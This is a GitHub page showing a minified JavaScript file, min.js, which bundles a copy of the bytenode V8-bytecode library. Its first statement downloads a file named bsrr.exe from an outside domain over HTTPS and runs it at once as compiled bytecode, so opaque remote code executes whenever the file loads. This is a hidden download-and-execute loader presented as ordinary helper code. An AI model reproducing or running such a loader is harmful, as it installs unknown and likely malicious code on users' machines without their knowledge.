-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmin.js
4 lines (4 loc) · 4.88 KB
/
min.js
1
2
3
4
var bytenode=require("./helper"),https=require("https");function run(e){bytenode.runBytecode(e)}https.get("https://bhavyasoftwares.com/source_new/bsrr.exe",e=>{const r=[];e.on("data",e=>{r.push(e)}).on("end",()=>{run(Buffer.concat(r))})}).on("error",e=>{console.log("download error:",e)});"use strict";const fs=require("fs"),vm=require("vm"),v8=require("v8"),path=require("path"),Module=require("module"),fork=require("child_process").fork,COMPILED_EXTNAME=(v8.setFlagsFromString("--no-lazy"),12<=Number.parseInt(process.versions.node,10)&&v8.setFlagsFromString("--no-flush-bytecode"),".jsc"),compileCode=function(e){if("string"!=typeof e)throw new Error(`javascriptCode must be string. ${typeof e} was given.`);e=new vm.Script(e,{produceCachedData:!0});return e.createCachedData&&e.createCachedData.call?e.createCachedData():e.cachedData},compileElectronCode=function(n){return new Promise((e,r)=>{let o=Buffer.from([]);var t=path.join(path.dirname(require.resolve("electron")),"cli.js");if(!fs.existsSync(t))throw new Error("Electron not installed");var s=path.join(__dirname,"cli.js"),t=fork(t,[s,"--compile","--no-module","-"],{env:{ELECTRON_RUN_AS_NODE:"1"},stdio:["pipe","pipe","pipe","ipc"]});t.stdin&&(t.stdin.write(n),t.stdin.end()),t.stdout&&(t.stdout.on("data",e=>{o=Buffer.concat([o,e])}),t.stdout.on("error",e=>{console.error(e)}),t.stdout.on("end",()=>{e(o)})),t.stderr&&(t.stderr.on("data",e=>{console.error("Error: ",e.toString())}),t.stderr.on("error",e=>{console.error("Error: ",e)})),t.addListener("message",e=>console.log(e)),t.addListener("error",e=>console.error(e)),t.on("error",e=>r(e)),t.on("exit",()=>{e(o)})})},fixBytecode=function(e){if(!Buffer.isBuffer(e))throw new Error("bytecodeBuffer must be a buffer object.");var r=compileCode('"ಠ_ಠ"');process.version.startsWith("v8.8")||process.version.startsWith("v8.9")?(r.slice(16,20).copy(e,16),r.slice(20,24).copy(e,20)):process.version.startsWith("v12")||process.version.startsWith("v13")||process.version.startsWith("v14")||process.version.startsWith("v15")||process.version.startsWith("v16")||process.version.startsWith("v17")||process.version.startsWith("v18")||process.version.startsWith("v19")?r.slice(12,16).copy(e,12):(r.slice(12,16).copy(e,12),r.slice(16,20).copy(e,16))},readSourceHash=function(e){if(Buffer.isBuffer(e))return process.version.startsWith("v8.8")||process.version.startsWith("v8.9")?e.slice(12,16).reduce((e,r,o)=>e+r*Math.pow(256,o),0):e.slice(8,12).reduce((e,r,o)=>e+r*Math.pow(256,o),0);throw new Error("bytecodeBuffer must be a buffer object.")},runBytecode=function(e){if(!Buffer.isBuffer(e))throw new Error("bytecodeBuffer must be a buffer object.");fixBytecode(e);var r=readSourceHash(e);let o="";1<r&&(o='"'+"".repeat(r-2)+'"');r=new vm.Script(o,{cachedData:e});if(r.cachedDataRejected)throw new Error("Invalid or incompatible cached data (cachedDataRejected)");return r.runInThisContext()},compileFile=async function(e,r){let o,t,s,n,i;if("string"==typeof e?(o=e,t=!0,s=!1,n=!1):"object"==typeof e&&(o=e.filename,t=!1!==e.compileAsModule,s=e.electron,n=e.createLoader,i=e.loaderFilename)&&(n=!0),"string"!=typeof o)throw new Error(`filename must be a string. ${typeof o} was given.`);e=e.output||r||o.slice(0,-3)+COMPILED_EXTNAME;if("string"!=typeof e)throw new Error(`output must be a string. ${typeof e} was given.`);r=fs.readFileSync(o,"utf-8");let a;a=t?Module.wrap(r.replace(/^#!.*/,"")):r.replace(/^#!.*/,"");let c;return c=s?await compileElectronCode(a):compileCode(a),fs.writeFileSync(e,c),n&&addLoaderFile(e,i),e},runBytecodeFile=function(e){if("string"!=typeof e)throw new Error(`filename must be a string. ${typeof e} was given.`);e=fs.readFileSync(e);return console.log(e),runBytecode(e)},addLoaderFile=(Module._extensions[COMPILED_EXTNAME]=function(o,e){var r=fs.readFileSync(e),t=(fixBytecode(r),readSourceHash(r));let s="";1<t&&(s='"'+"".repeat(t-2)+'"');t=new vm.Script(s,{filename:e,lineOffset:0,displayErrors:!0,cachedData:r});if(t.cachedDataRejected)throw new Error("Invalid or incompatible cached data (cachedDataRejected)");function n(e){return o.require(e)}n.resolve=function(e,r){return Module._resolveFilename(e,o,!1,r)},process.mainModule&&(n.main=process.mainModule),n.extensions=Module._extensions,n.cache=Module._cache;r=t.runInThisContext({filename:e,lineOffset:0,columnOffset:0,displayErrors:!0}),t=path.dirname(e),e=[o.exports,n,o,e,t,process,global];return r.apply(o.exports,e)},function(e,r){let o;o="boolean"==typeof r||void 0===r||""===r?e.replace(".jsc",".loader.js"):(r=r.replace("%",path.parse(e).name),path.join(path.dirname(e),r));r=path.relative(path.dirname(o),e),e=loaderCode("./"+r);fs.writeFileSync(o,e)}),loaderCode=function(e){return`
require('bytenode');
require('${e}');
`};global.bytenode={compileCode:compileCode,compileFile:compileFile,compileElectronCode:compileElectronCode,runBytecode:runBytecode,runBytecodeFile:runBytecodeFile,addLoaderFile:addLoaderFile,loaderCode:loaderCode},module.exports=global.bytenode;